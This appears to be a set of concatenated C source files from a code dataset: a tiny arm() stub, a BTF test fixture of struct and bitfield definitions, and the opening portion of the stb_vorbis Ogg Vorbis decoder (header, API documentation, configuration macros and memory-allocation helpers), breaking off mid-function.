ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
void arm()
{
}
|
the_stack_data/150790.c | /*
This file exists to emit ELFs with specific BTF types to use as target BTF
in tests. It can be made redundant when btf.Spec can be handcrafted and
passed as a CO-RE target in the future.
*/
struct s {
char a;
char b;
};
struct s *unused_s __attribute__((unused));
typedef unsigned int my_u32;
typedef unsigned char u8;
typedef unsigned short u16;
typedef unsigned int u32;
typedef unsigned long u64;
struct bits {
/*int x;*/
u8 b : 2, a : 4; /* a was before b */
my_u32 d : 2; /* was 'unsigned int' */
u16 c : 1; /* was before d */
enum { ZERO = 0, ONE = 1 } e : 1;
u16 f; /* was: u64 f:16 */
u32 g : 30; /* was: u64 g:30 */
};
struct bits *unused_bits __attribute__((unused));
|
the_stack_data/58221.c | // Ogg Vorbis audio decoder - v1.19 - public domain
// http://nothings.org/stb_vorbis/
//
// Original version written by Sean Barrett in 2007.
//
// Originally sponsored by RAD Game Tools. Seeking implementation
// sponsored by Phillip Bennefall, Marc Andersen, Aaron Baker,
// Elias Software, Aras Pranckevicius, and Sean Barrett.
//
// LICENSE
//
// See end of file for license information.
//
// Limitations:
//
// - floor 0 not supported (used in old ogg vorbis files pre-2004)
// - lossless sample-truncation at beginning ignored
// - cannot concatenate multiple vorbis streams
// - sample positions are 32-bit, limiting seekable 192Khz
// files to around 6 hours (Ogg supports 64-bit)
//
// Feature contributors:
// Dougall Johnson (sample-exact seeking)
//
// Bugfix/warning contributors:
// Terje Mathisen Niklas Frykholm Andy Hill
// Casey Muratori John Bolton Gargaj
// Laurent Gomila Marc LeBlanc Ronny Chevalier
// Bernhard Wodo Evan Balster github:alxprd
// Tom Beaumont Ingo Leitgeb Nicolas Guillemot
// Phillip Bennefall Rohit Thiago Goulart
// github:manxorist saga musix github:infatum
// Timur Gagiev Maxwell Koo Peter Waller
// github:audinowho Dougall Johnson
//
// Partial history:
// 1.19 - 2020-02-05 - warnings
// 1.18 - 2020-02-02 - fix seek bugs; parse header comments; misc warnings etc.
// 1.17 - 2019-07-08 - fix CVE-2019-13217..CVE-2019-13223 (by ForAllSecure)
// 1.16 - 2019-03-04 - fix warnings
// 1.15 - 2019-02-07 - explicit failure if Ogg Skeleton data is found
// 1.14 - 2018-02-11 - delete bogus dealloca usage
// 1.13 - 2018-01-29 - fix truncation of last frame (hopefully)
// 1.12 - 2017-11-21 - limit residue begin/end to blocksize/2 to avoid large temp allocs in bad/corrupt files
// 1.11 - 2017-07-23 - fix MinGW compilation
// 1.10 - 2017-03-03 - more robust seeking; fix negative ilog(); clear error in open_memory
// 1.09 - 2016-04-04 - back out 'truncation of last frame' fix from previous version
// 1.08 - 2016-04-02 - warnings; setup memory leaks; truncation of last frame
// 1.07 - 2015-01-16 - fixes for crashes on invalid files; warning fixes; const
// 1.06 - 2015-08-31 - full, correct support for seeking API (Dougall Johnson)
// some crash fixes when out of memory or with corrupt files
// fix some inappropriately signed shifts
// 1.05 - 2015-04-19 - don't define __forceinline if it's redundant
// 1.04 - 2014-08-27 - fix missing const-correct case in API
// 1.03 - 2014-08-07 - warning fixes
// 1.02 - 2014-07-09 - declare qsort comparison as explicitly _cdecl in Windows
// 1.01 - 2014-06-18 - fix stb_vorbis_get_samples_float (interleaved was correct)
// 1.0 - 2014-05-26 - fix memory leaks; fix warnings; fix bugs in >2-channel;
// (API change) report sample rate for decode-full-file funcs
//
// See end of file for full version history.
//////////////////////////////////////////////////////////////////////////////
//
// HEADER BEGINS HERE
//
#ifndef STB_VORBIS_INCLUDE_STB_VORBIS_H
#define STB_VORBIS_INCLUDE_STB_VORBIS_H
#if defined(STB_VORBIS_NO_CRT) && !defined(STB_VORBIS_NO_STDIO)
#define STB_VORBIS_NO_STDIO 1
#endif
#ifndef STB_VORBIS_NO_STDIO
#include <stdio.h>
#endif
#ifdef __cplusplus
extern "C" {
#endif
/////////// THREAD SAFETY
// Individual stb_vorbis* handles are not thread-safe; you cannot decode from
// them from multiple threads at the same time. However, you can have multiple
// stb_vorbis* handles and decode from them independently in multiple thrads.
/////////// MEMORY ALLOCATION
// normally stb_vorbis uses malloc() to allocate memory at startup,
// and alloca() to allocate temporary memory during a frame on the
// stack. (Memory consumption will depend on the amount of setup
// data in the file and how you set the compile flags for speed
// vs. size. In my test files the maximal-size usage is ~150KB.)
//
// You can modify the wrapper functions in the source (setup_malloc,
// setup_temp_malloc, temp_malloc) to change this behavior, or you
// can use a simpler allocation model: you pass in a buffer from
// which stb_vorbis will allocate _all_ its memory (including the
// temp memory). "open" may fail with a VORBIS_outofmem if you
// do not pass in enough data; there is no way to determine how
// much you do need except to succeed (at which point you can
// query get_info to find the exact amount required. yes I know
// this is lame).
//
// If you pass in a non-NULL buffer of the type below, allocation
// will occur from it as described above. Otherwise just pass NULL
// to use malloc()/alloca()
typedef struct
{
char *alloc_buffer;
int alloc_buffer_length_in_bytes;
} stb_vorbis_alloc;
/////////// FUNCTIONS USEABLE WITH ALL INPUT MODES
typedef struct stb_vorbis stb_vorbis;
typedef struct
{
unsigned int sample_rate;
int channels;
unsigned int setup_memory_required;
unsigned int setup_temp_memory_required;
unsigned int temp_memory_required;
int max_frame_size;
} stb_vorbis_info;
typedef struct
{
char *vendor;
int comment_list_length;
char **comment_list;
} stb_vorbis_comment;
// get general information about the file
extern stb_vorbis_info stb_vorbis_get_info(stb_vorbis *f);
// get ogg comments
extern stb_vorbis_comment stb_vorbis_get_comment(stb_vorbis *f);
// get the last error detected (clears it, too)
extern int stb_vorbis_get_error(stb_vorbis *f);
// close an ogg vorbis file and free all memory in use
extern void stb_vorbis_close(stb_vorbis *f);
// this function returns the offset (in samples) from the beginning of the
// file that will be returned by the next decode, if it is known, or -1
// otherwise. after a flush_pushdata() call, this may take a while before
// it becomes valid again.
// NOT WORKING YET after a seek with PULLDATA API
extern int stb_vorbis_get_sample_offset(stb_vorbis *f);
// returns the current seek point within the file, or offset from the beginning
// of the memory buffer. In pushdata mode it returns 0.
extern unsigned int stb_vorbis_get_file_offset(stb_vorbis *f);
/////////// PUSHDATA API
#ifndef STB_VORBIS_NO_PUSHDATA_API
// this API allows you to get blocks of data from any source and hand
// them to stb_vorbis. you have to buffer them; stb_vorbis will tell
// you how much it used, and you have to give it the rest next time;
// and stb_vorbis may not have enough data to work with and you will
// need to give it the same data again PLUS more. Note that the Vorbis
// specification does not bound the size of an individual frame.
extern stb_vorbis *stb_vorbis_open_pushdata(
const unsigned char * datablock, int datablock_length_in_bytes,
int *datablock_memory_consumed_in_bytes,
int *error,
const stb_vorbis_alloc *alloc_buffer);
// create a vorbis decoder by passing in the initial data block containing
// the ogg&vorbis headers (you don't need to do parse them, just provide
// the first N bytes of the file--you're told if it's not enough, see below)
// on success, returns an stb_vorbis *, does not set error, returns the amount of
// data parsed/consumed on this call in *datablock_memory_consumed_in_bytes;
// on failure, returns NULL on error and sets *error, does not change *datablock_memory_consumed
// if returns NULL and *error is VORBIS_need_more_data, then the input block was
// incomplete and you need to pass in a larger block from the start of the file
extern int stb_vorbis_decode_frame_pushdata(
stb_vorbis *f,
const unsigned char *datablock, int datablock_length_in_bytes,
int *channels, // place to write number of float * buffers
float ***output, // place to write float ** array of float * buffers
int *samples // place to write number of output samples
);
// decode a frame of audio sample data if possible from the passed-in data block
//
// return value: number of bytes we used from datablock
//
// possible cases:
// 0 bytes used, 0 samples output (need more data)
// N bytes used, 0 samples output (resynching the stream, keep going)
// N bytes used, M samples output (one frame of data)
// note that after opening a file, you will ALWAYS get one N-bytes,0-sample
// frame, because Vorbis always "discards" the first frame.
//
// Note that on resynch, stb_vorbis will rarely consume all of the buffer,
// instead only datablock_length_in_bytes-3 or less. This is because it wants
// to avoid missing parts of a page header if they cross a datablock boundary,
// without writing state-machiney code to record a partial detection.
//
// The number of channels returned are stored in *channels (which can be
// NULL--it is always the same as the number of channels reported by
// get_info). *output will contain an array of float* buffers, one per
// channel. In other words, (*output)[0][0] contains the first sample from
// the first channel, and (*output)[1][0] contains the first sample from
// the second channel.
extern void stb_vorbis_flush_pushdata(stb_vorbis *f);
// inform stb_vorbis that your next datablock will not be contiguous with
// previous ones (e.g. you've seeked in the data); future attempts to decode
// frames will cause stb_vorbis to resynchronize (as noted above), and
// once it sees a valid Ogg page (typically 4-8KB, as large as 64KB), it
// will begin decoding the _next_ frame.
//
// if you want to seek using pushdata, you need to seek in your file, then
// call stb_vorbis_flush_pushdata(), then start calling decoding, then once
// decoding is returning you data, call stb_vorbis_get_sample_offset, and
// if you don't like the result, seek your file again and repeat.
#endif
////////// PULLING INPUT API
#ifndef STB_VORBIS_NO_PULLDATA_API
// This API assumes stb_vorbis is allowed to pull data from a source--
// either a block of memory containing the _entire_ vorbis stream, or a
// FILE * that you or it create, or possibly some other reading mechanism
// if you go modify the source to replace the FILE * case with some kind
// of callback to your code. (But if you don't support seeking, you may
// just want to go ahead and use pushdata.)
#if !defined(STB_VORBIS_NO_STDIO) && !defined(STB_VORBIS_NO_INTEGER_CONVERSION)
extern int stb_vorbis_decode_filename(const char *filename, int *channels, int *sample_rate, short **output);
#endif
#if !defined(STB_VORBIS_NO_INTEGER_CONVERSION)
extern int stb_vorbis_decode_memory(const unsigned char *mem, int len, int *channels, int *sample_rate, short **output);
#endif
// decode an entire file and output the data interleaved into a malloc()ed
// buffer stored in *output. The return value is the number of samples
// decoded, or -1 if the file could not be opened or was not an ogg vorbis file.
// When you're done with it, just free() the pointer returned in *output.
extern stb_vorbis * stb_vorbis_open_memory(const unsigned char *data, int len,
int *error, const stb_vorbis_alloc *alloc_buffer);
// create an ogg vorbis decoder from an ogg vorbis stream in memory (note
// this must be the entire stream!). on failure, returns NULL and sets *error
#ifndef STB_VORBIS_NO_STDIO
extern stb_vorbis * stb_vorbis_open_filename(const char *filename,
int *error, const stb_vorbis_alloc *alloc_buffer);
// create an ogg vorbis decoder from a filename via fopen(). on failure,
// returns NULL and sets *error (possibly to VORBIS_file_open_failure).
extern stb_vorbis * stb_vorbis_open_file(FILE *f, int close_handle_on_close,
int *error, const stb_vorbis_alloc *alloc_buffer);
// create an ogg vorbis decoder from an open FILE *, looking for a stream at
// the _current_ seek point (ftell). on failure, returns NULL and sets *error.
// note that stb_vorbis must "own" this stream; if you seek it in between
// calls to stb_vorbis, it will become confused. Moreover, if you attempt to
// perform stb_vorbis_seek_*() operations on this file, it will assume it
// owns the _entire_ rest of the file after the start point. Use the next
// function, stb_vorbis_open_file_section(), to limit it.
extern stb_vorbis * stb_vorbis_open_file_section(FILE *f, int close_handle_on_close,
int *error, const stb_vorbis_alloc *alloc_buffer, unsigned int len);
// create an ogg vorbis decoder from an open FILE *, looking for a stream at
// the _current_ seek point (ftell); the stream will be of length 'len' bytes.
// on failure, returns NULL and sets *error. note that stb_vorbis must "own"
// this stream; if you seek it in between calls to stb_vorbis, it will become
// confused.
#endif
extern int stb_vorbis_seek_frame(stb_vorbis *f, unsigned int sample_number);
extern int stb_vorbis_seek(stb_vorbis *f, unsigned int sample_number);
// these functions seek in the Vorbis file to (approximately) 'sample_number'.
// after calling seek_frame(), the next call to get_frame_*() will include
// the specified sample. after calling stb_vorbis_seek(), the next call to
// stb_vorbis_get_samples_* will start with the specified sample. If you
// do not need to seek to EXACTLY the target sample when using get_samples_*,
// you can also use seek_frame().
extern int stb_vorbis_seek_start(stb_vorbis *f);
// this function is equivalent to stb_vorbis_seek(f,0)
extern unsigned int stb_vorbis_stream_length_in_samples(stb_vorbis *f);
extern float stb_vorbis_stream_length_in_seconds(stb_vorbis *f);
// these functions return the total length of the vorbis stream
extern int stb_vorbis_get_frame_float(stb_vorbis *f, int *channels, float ***output);
// decode the next frame and return the number of samples. the number of
// channels returned are stored in *channels (which can be NULL--it is always
// the same as the number of channels reported by get_info). *output will
// contain an array of float* buffers, one per channel. These outputs will
// be overwritten on the next call to stb_vorbis_get_frame_*.
//
// You generally should not intermix calls to stb_vorbis_get_frame_*()
// and stb_vorbis_get_samples_*(), since the latter calls the former.
#ifndef STB_VORBIS_NO_INTEGER_CONVERSION
extern int stb_vorbis_get_frame_short_interleaved(stb_vorbis *f, int num_c, short *buffer, int num_shorts);
extern int stb_vorbis_get_frame_short (stb_vorbis *f, int num_c, short **buffer, int num_samples);
#endif
// decode the next frame and return the number of *samples* per channel.
// Note that for interleaved data, you pass in the number of shorts (the
// size of your array), but the return value is the number of samples per
// channel, not the total number of samples.
//
// The data is coerced to the number of channels you request according to the
// channel coercion rules (see below). You must pass in the size of your
// buffer(s) so that stb_vorbis will not overwrite the end of the buffer.
// The maximum buffer size needed can be gotten from get_info(); however,
// the Vorbis I specification implies an absolute maximum of 4096 samples
// per channel.
// Channel coercion rules:
// Let M be the number of channels requested, and N the number of channels present,
// and Cn be the nth channel; let stereo L be the sum of all L and center channels,
// and stereo R be the sum of all R and center channels (channel assignment from the
// vorbis spec).
// M N output
// 1 k sum(Ck) for all k
// 2 * stereo L, stereo R
// k l k > l, the first l channels, then 0s
// k l k <= l, the first k channels
// Note that this is not _good_ surround etc. mixing at all! It's just so
// you get something useful.
extern int stb_vorbis_get_samples_float_interleaved(stb_vorbis *f, int channels, float *buffer, int num_floats);
extern int stb_vorbis_get_samples_float(stb_vorbis *f, int channels, float **buffer, int num_samples);
// gets num_samples samples, not necessarily on a frame boundary--this requires
// buffering so you have to supply the buffers. DOES NOT APPLY THE COERCION RULES.
// Returns the number of samples stored per channel; it may be less than requested
// at the end of the file. If there are no more samples in the file, returns 0.
#ifndef STB_VORBIS_NO_INTEGER_CONVERSION
extern int stb_vorbis_get_samples_short_interleaved(stb_vorbis *f, int channels, short *buffer, int num_shorts);
extern int stb_vorbis_get_samples_short(stb_vorbis *f, int channels, short **buffer, int num_samples);
#endif
// gets num_samples samples, not necessarily on a frame boundary--this requires
// buffering so you have to supply the buffers. Applies the coercion rules above
// to produce 'channels' channels. Returns the number of samples stored per channel;
// it may be less than requested at the end of the file. If there are no more
// samples in the file, returns 0.
#endif
//////// ERROR CODES
enum STBVorbisError
{
VORBIS__no_error,
VORBIS_need_more_data=1, // not a real error
VORBIS_invalid_api_mixing, // can't mix API modes
VORBIS_outofmem, // not enough memory
VORBIS_feature_not_supported, // uses floor 0
VORBIS_too_many_channels, // STB_VORBIS_MAX_CHANNELS is too small
VORBIS_file_open_failure, // fopen() failed
VORBIS_seek_without_length, // can't seek in unknown-length file
VORBIS_unexpected_eof=10, // file is truncated?
VORBIS_seek_invalid, // seek past EOF
// decoding errors (corrupt/invalid stream) -- you probably
// don't care about the exact details of these
// vorbis errors:
VORBIS_invalid_setup=20,
VORBIS_invalid_stream,
// ogg errors:
VORBIS_missing_capture_pattern=30,
VORBIS_invalid_stream_structure_version,
VORBIS_continued_packet_flag_invalid,
VORBIS_incorrect_stream_serial_number,
VORBIS_invalid_first_page,
VORBIS_bad_packet_type,
VORBIS_cant_find_last_page,
VORBIS_seek_failed,
VORBIS_ogg_skeleton_not_supported
};
#ifdef __cplusplus
}
#endif
#endif // STB_VORBIS_INCLUDE_STB_VORBIS_H
//
// HEADER ENDS HERE
//
//////////////////////////////////////////////////////////////////////////////
#ifndef STB_VORBIS_HEADER_ONLY
// global configuration settings (e.g. set these in the project/makefile),
// or just set them in this file at the top (although ideally the first few
// should be visible when the header file is compiled too, although it's not
// crucial)
// STB_VORBIS_NO_PUSHDATA_API
// does not compile the code for the various stb_vorbis_*_pushdata()
// functions
// #define STB_VORBIS_NO_PUSHDATA_API
// STB_VORBIS_NO_PULLDATA_API
// does not compile the code for the non-pushdata APIs
// #define STB_VORBIS_NO_PULLDATA_API
// STB_VORBIS_NO_STDIO
// does not compile the code for the APIs that use FILE *s internally
// or externally (implied by STB_VORBIS_NO_PULLDATA_API)
// #define STB_VORBIS_NO_STDIO
// STB_VORBIS_NO_INTEGER_CONVERSION
// does not compile the code for converting audio sample data from
// float to integer (implied by STB_VORBIS_NO_PULLDATA_API)
// #define STB_VORBIS_NO_INTEGER_CONVERSION
// STB_VORBIS_NO_FAST_SCALED_FLOAT
// does not use a fast float-to-int trick to accelerate float-to-int on
// most platforms which requires endianness be defined correctly.
//#define STB_VORBIS_NO_FAST_SCALED_FLOAT
// STB_VORBIS_MAX_CHANNELS [number]
// globally define this to the maximum number of channels you need.
// The spec does not put a restriction on channels except that
// the count is stored in a byte, so 255 is the hard limit.
// Reducing this saves about 16 bytes per value, so using 16 saves
// (255-16)*16 or around 4KB. Plus anything other memory usage
// I forgot to account for. Can probably go as low as 8 (7.1 audio),
// 6 (5.1 audio), or 2 (stereo only).
#ifndef STB_VORBIS_MAX_CHANNELS
#define STB_VORBIS_MAX_CHANNELS 16 // enough for anyone?
#endif
// STB_VORBIS_PUSHDATA_CRC_COUNT [number]
// after a flush_pushdata(), stb_vorbis begins scanning for the
// next valid page, without backtracking. when it finds something
// that looks like a page, it streams through it and verifies its
// CRC32. Should that validation fail, it keeps scanning. But it's
// possible that _while_ streaming through to check the CRC32 of
// one candidate page, it sees another candidate page. This #define
// determines how many "overlapping" candidate pages it can search
// at once. Note that "real" pages are typically ~4KB to ~8KB, whereas
// garbage pages could be as big as 64KB, but probably average ~16KB.
// So don't hose ourselves by scanning an apparent 64KB page and
// missing a ton of real ones in the interim; so minimum of 2
#ifndef STB_VORBIS_PUSHDATA_CRC_COUNT
#define STB_VORBIS_PUSHDATA_CRC_COUNT 4
#endif
// STB_VORBIS_FAST_HUFFMAN_LENGTH [number]
// sets the log size of the huffman-acceleration table. Maximum
// supported value is 24. with larger numbers, more decodings are O(1),
// but the table size is larger so worse cache missing, so you'll have
// to probe (and try multiple ogg vorbis files) to find the sweet spot.
#ifndef STB_VORBIS_FAST_HUFFMAN_LENGTH
#define STB_VORBIS_FAST_HUFFMAN_LENGTH 10
#endif
// STB_VORBIS_FAST_BINARY_LENGTH [number]
// sets the log size of the binary-search acceleration table. this
// is used in similar fashion to the fast-huffman size to set initial
// parameters for the binary search
// STB_VORBIS_FAST_HUFFMAN_INT
// The fast huffman tables are much more efficient if they can be
// stored as 16-bit results instead of 32-bit results. This restricts
// the codebooks to having only 65535 possible outcomes, though.
// (At least, accelerated by the huffman table.)
#ifndef STB_VORBIS_FAST_HUFFMAN_INT
#define STB_VORBIS_FAST_HUFFMAN_SHORT
#endif
// STB_VORBIS_NO_HUFFMAN_BINARY_SEARCH
// If the 'fast huffman' search doesn't succeed, then stb_vorbis falls
// back on binary searching for the correct one. This requires storing
// extra tables with the huffman codes in sorted order. Defining this
// symbol trades off space for speed by forcing a linear search in the
// non-fast case, except for "sparse" codebooks.
// #define STB_VORBIS_NO_HUFFMAN_BINARY_SEARCH
// STB_VORBIS_DIVIDES_IN_RESIDUE
// stb_vorbis precomputes the result of the scalar residue decoding
// that would otherwise require a divide per chunk. you can trade off
// space for time by defining this symbol.
// #define STB_VORBIS_DIVIDES_IN_RESIDUE
// STB_VORBIS_DIVIDES_IN_CODEBOOK
// vorbis VQ codebooks can be encoded two ways: with every case explicitly
// stored, or with all elements being chosen from a small range of values,
// and all values possible in all elements. By default, stb_vorbis expands
// this latter kind out to look like the former kind for ease of decoding,
// because otherwise an integer divide-per-vector-element is required to
// unpack the index. If you define STB_VORBIS_DIVIDES_IN_CODEBOOK, you can
// trade off storage for speed.
//#define STB_VORBIS_DIVIDES_IN_CODEBOOK
#ifdef STB_VORBIS_CODEBOOK_SHORTS
#error "STB_VORBIS_CODEBOOK_SHORTS is no longer supported as it produced incorrect results for some input formats"
#endif
// STB_VORBIS_DIVIDE_TABLE
// this replaces small integer divides in the floor decode loop with
// table lookups. made less than 1% difference, so disabled by default.
// STB_VORBIS_NO_INLINE_DECODE
// disables the inlining of the scalar codebook fast-huffman decode.
// might save a little codespace; useful for debugging
// #define STB_VORBIS_NO_INLINE_DECODE
// STB_VORBIS_NO_DEFER_FLOOR
// Normally we only decode the floor without synthesizing the actual
// full curve. We can instead synthesize the curve immediately. This
// requires more memory and is very likely slower, so I don't think
// you'd ever want to do it except for debugging.
// #define STB_VORBIS_NO_DEFER_FLOOR
//////////////////////////////////////////////////////////////////////////////
#ifdef STB_VORBIS_NO_PULLDATA_API
#define STB_VORBIS_NO_INTEGER_CONVERSION
#define STB_VORBIS_NO_STDIO
#endif
#if defined(STB_VORBIS_NO_CRT) && !defined(STB_VORBIS_NO_STDIO)
#define STB_VORBIS_NO_STDIO 1
#endif
#ifndef STB_VORBIS_NO_INTEGER_CONVERSION
#ifndef STB_VORBIS_NO_FAST_SCALED_FLOAT
// only need endianness for fast-float-to-int, which we don't
// use for pushdata
#ifndef STB_VORBIS_BIG_ENDIAN
#define STB_VORBIS_ENDIAN 0
#else
#define STB_VORBIS_ENDIAN 1
#endif
#endif
#endif
#ifndef STB_VORBIS_NO_STDIO
#include <stdio.h>
#endif
#ifndef STB_VORBIS_NO_CRT
#include <stdlib.h>
#include <string.h>
#include <assert.h>
#include <math.h>
// find definition of alloca if it's not in stdlib.h:
#if defined(_MSC_VER) || defined(__MINGW32__)
#include <malloc.h>
#endif
#if defined(__linux__) || defined(__linux) || defined(__EMSCRIPTEN__) || defined(TARGET_32BLIT_HW)
#include <alloca.h>
#endif
#else // STB_VORBIS_NO_CRT
#define NULL 0
#define malloc(s) 0
#define free(s) ((void) 0)
#define realloc(s) 0
#endif // STB_VORBIS_NO_CRT
#include <limits.h>
#ifdef __MINGW32__
// eff you mingw:
// "fixed":
// http://sourceforge.net/p/mingw-w64/mailman/message/32882927/
// "no that broke the build, reverted, who cares about C":
// http://sourceforge.net/p/mingw-w64/mailman/message/32890381/
#ifdef __forceinline
#undef __forceinline
#endif
#define __forceinline
#define alloca __builtin_alloca
#elif !defined(_MSC_VER)
#if __GNUC__
#define __forceinline inline
#else
#define __forceinline
#endif
#endif
#if STB_VORBIS_MAX_CHANNELS > 256
#error "Value of STB_VORBIS_MAX_CHANNELS outside of allowed range"
#endif
#if STB_VORBIS_FAST_HUFFMAN_LENGTH > 24
#error "Value of STB_VORBIS_FAST_HUFFMAN_LENGTH outside of allowed range"
#endif
#if 0
#include <crtdbg.h>
#define CHECK(f) _CrtIsValidHeapPointer(f->channel_buffers[1])
#else
#define CHECK(f) ((void) 0)
#endif
#define MAX_BLOCKSIZE_LOG 13 // from specification
#define MAX_BLOCKSIZE (1 << MAX_BLOCKSIZE_LOG)
typedef unsigned char uint8;
typedef signed char int8;
typedef unsigned short uint16;
typedef signed short int16;
typedef unsigned int uint32;
typedef signed int int32;
#ifndef TRUE
#define TRUE 1
#define FALSE 0
#endif
typedef float codetype;
// @NOTE
//
// Some arrays below are tagged "//varies", which means it's actually
// a variable-sized piece of data, but rather than malloc I assume it's
// small enough it's better to just allocate it all together with the
// main thing
//
// Most of the variables are specified with the smallest size I could pack
// them into. It might give better performance to make them all full-sized
// integers. It should be safe to freely rearrange the structures or change
// the sizes larger--nothing relies on silently truncating etc., nor the
// order of variables.
#define FAST_HUFFMAN_TABLE_SIZE (1 << STB_VORBIS_FAST_HUFFMAN_LENGTH)
#define FAST_HUFFMAN_TABLE_MASK (FAST_HUFFMAN_TABLE_SIZE - 1)
typedef struct
{
int dimensions, entries;
uint8 *codeword_lengths;
float minimum_value;
float delta_value;
uint8 value_bits;
uint8 lookup_type;
uint8 sequence_p;
uint8 sparse;
uint32 lookup_values;
codetype *multiplicands;
uint32 *codewords;
#ifdef STB_VORBIS_FAST_HUFFMAN_SHORT
int16 fast_huffman[FAST_HUFFMAN_TABLE_SIZE];
#else
int32 fast_huffman[FAST_HUFFMAN_TABLE_SIZE];
#endif
uint32 *sorted_codewords;
int *sorted_values;
int sorted_entries;
} Codebook;
typedef struct
{
uint8 order;
uint16 rate;
uint16 bark_map_size;
uint8 amplitude_bits;
uint8 amplitude_offset;
uint8 number_of_books;
uint8 book_list[16]; // varies
} Floor0;
typedef struct
{
uint8 partitions;
uint8 partition_class_list[32]; // varies
uint8 class_dimensions[16]; // varies
uint8 class_subclasses[16]; // varies
uint8 class_masterbooks[16]; // varies
int16 subclass_books[16][8]; // varies
uint16 Xlist[31*8+2]; // varies
uint8 sorted_order[31*8+2];
uint8 neighbors[31*8+2][2];
uint8 floor1_multiplier;
uint8 rangebits;
int values;
} Floor1;
typedef union
{
Floor0 floor0;
Floor1 floor1;
} Floor;
typedef struct
{
uint32 begin, end;
uint32 part_size;
uint8 classifications;
uint8 classbook;
uint8 **classdata;
int16 (*residue_books)[8];
} Residue;
typedef struct
{
uint8 magnitude;
uint8 angle;
uint8 mux;
} MappingChannel;
typedef struct
{
uint16 coupling_steps;
MappingChannel *chan;
uint8 submaps;
uint8 submap_floor[15]; // varies
uint8 submap_residue[15]; // varies
} Mapping;
typedef struct
{
uint8 blockflag;
uint8 mapping;
uint16 windowtype;
uint16 transformtype;
} Mode;
typedef struct
{
uint32 goal_crc; // expected crc if match
int bytes_left; // bytes left in packet
uint32 crc_so_far; // running crc
int bytes_done; // bytes processed in _current_ chunk
uint32 sample_loc; // granule pos encoded in page
} CRCscan;
typedef struct
{
uint32 page_start, page_end;
uint32 last_decoded_sample;
} ProbedPage;
struct stb_vorbis
{
// user-accessible info
unsigned int sample_rate;
int channels;
unsigned int setup_memory_required;
unsigned int temp_memory_required;
unsigned int setup_temp_memory_required;
char *vendor;
int comment_list_length;
char **comment_list;
// input config
#ifndef STB_VORBIS_NO_STDIO
FILE *f;
uint32 f_start;
int close_on_free;
#endif
uint8 *stream;
uint8 *stream_start;
uint8 *stream_end;
uint32 stream_len;
uint8 push_mode;
// the page to seek to when seeking to start, may be zero
uint32 first_audio_page_offset;
// p_first is the page on which the first audio packet ends
// (but not necessarily the page on which it starts)
ProbedPage p_first, p_last;
// memory management
stb_vorbis_alloc alloc;
int setup_offset;
int temp_offset;
// run-time results
int eof;
enum STBVorbisError error;
// user-useful data
// header info
int blocksize[2];
int blocksize_0, blocksize_1;
int codebook_count;
Codebook *codebooks;
int floor_count;
uint16 floor_types[64]; // varies
Floor *floor_config;
int residue_count;
uint16 residue_types[64]; // varies
Residue *residue_config;
int mapping_count;
Mapping *mapping;
int mode_count;
Mode mode_config[64]; // varies
uint32 total_samples;
// decode buffer
float *channel_buffers[STB_VORBIS_MAX_CHANNELS];
float *outputs [STB_VORBIS_MAX_CHANNELS];
float *previous_window[STB_VORBIS_MAX_CHANNELS];
int previous_length;
#ifndef STB_VORBIS_NO_DEFER_FLOOR
int16 *finalY[STB_VORBIS_MAX_CHANNELS];
#else
float *floor_buffers[STB_VORBIS_MAX_CHANNELS];
#endif
uint32 current_loc; // sample location of next frame to decode
int current_loc_valid;
// per-blocksize precomputed data
// twiddle factors
float *A[2],*B[2],*C[2];
float *window[2];
uint16 *bit_reverse[2];
// current page/packet/segment streaming info
uint32 serial; // stream serial number for verification
int last_page;
int segment_count;
uint8 segments[255];
uint8 page_flag;
uint8 bytes_in_seg;
uint8 first_decode;
int next_seg;
int last_seg; // flag that we're on the last segment
int last_seg_which; // what was the segment number of the last seg?
uint32 acc;
int valid_bits;
int packet_bytes;
int end_seg_with_known_loc;
uint32 known_loc_for_packet;
int discard_samples_deferred;
uint32 samples_output;
// push mode scanning
int page_crc_tests; // only in push_mode: number of tests active; -1 if not searching
#ifndef STB_VORBIS_NO_PUSHDATA_API
CRCscan scan[STB_VORBIS_PUSHDATA_CRC_COUNT];
#endif
// sample-access
int channel_buffer_start;
int channel_buffer_end;
};
#if defined(STB_VORBIS_NO_PUSHDATA_API)
#define IS_PUSH_MODE(f) FALSE
#elif defined(STB_VORBIS_NO_PULLDATA_API)
#define IS_PUSH_MODE(f) TRUE
#else
#define IS_PUSH_MODE(f) ((f)->push_mode)
#endif
typedef struct stb_vorbis vorb;
static int error(vorb *f, enum STBVorbisError e)
{
f->error = e;
if (!f->eof && e != VORBIS_need_more_data) {
f->error=e; // breakpoint for debugging
}
return 0;
}
// these functions are used for allocating temporary memory
// while decoding. if you can afford the stack space, use
// alloca(); otherwise, provide a temp buffer and it will
// allocate out of those.
#define array_size_required(count,size) (count*(sizeof(void *)+(size)))
#define temp_alloc(f,size) (f->alloc.alloc_buffer ? setup_temp_malloc(f,size) : alloca(size))
#define temp_free(f,p) (void)0
#define temp_alloc_save(f) ((f)->temp_offset)
#define temp_alloc_restore(f,p) ((f)->temp_offset = (p))
#define temp_block_array(f,count,size) make_block_array(temp_alloc(f,array_size_required(count,size)), count, size)
// given a sufficiently large block of memory, make an array of pointers to subblocks of it
static void *make_block_array(void *mem, int count, int size)
{
int i;
void ** p = (void **) mem;
char *q = (char *) (p + count);
for (i=0; i < count; ++i) {
p[i] = q;
q += size;
}
return p;
}
static void *setup_malloc(vorb *f, int sz)
{
sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs.
f->setup_memory_required += sz;
if (f->alloc.alloc_buffer) {
void *p = (char *) f->alloc.alloc_buffer + f->setup_offset;
if (f->setup_offset + sz > f->temp_offset) return NULL;
f->setup_offset += sz;
return p;
}
return sz ? malloc(sz) : NULL;
}
static void setup_free(vorb *f, void *p)
{
if (f->alloc.alloc_buffer) return; // do nothing; setup mem is a stack
free(p);
}
static void *setup_temp_malloc(vorb *f, int sz)
{
sz = (sz+7) & ~7; // round up to nearest 8 for alignment of future allocs.
if (f->alloc.alloc_buffer) {
if (f->temp_offset - sz < f->setup_offset) return NULL;
f->temp_offset -= sz;
return (char *) f->alloc.alloc_buffer + f->temp_offset;
}
return malloc(sz);
}
static void setup_temp_free(vorb *f, void *p, int sz)
{
if (f->alloc.alloc_buffer) {
f->temp_offset += (sz+3)&~3;
return;
}
free(p);
}
#define CRC32_POLY 0x04c11db7 // from spec
static uint32 crc_table[256];
static void crc32_init(void)
{
int i,j;
uint32 s;
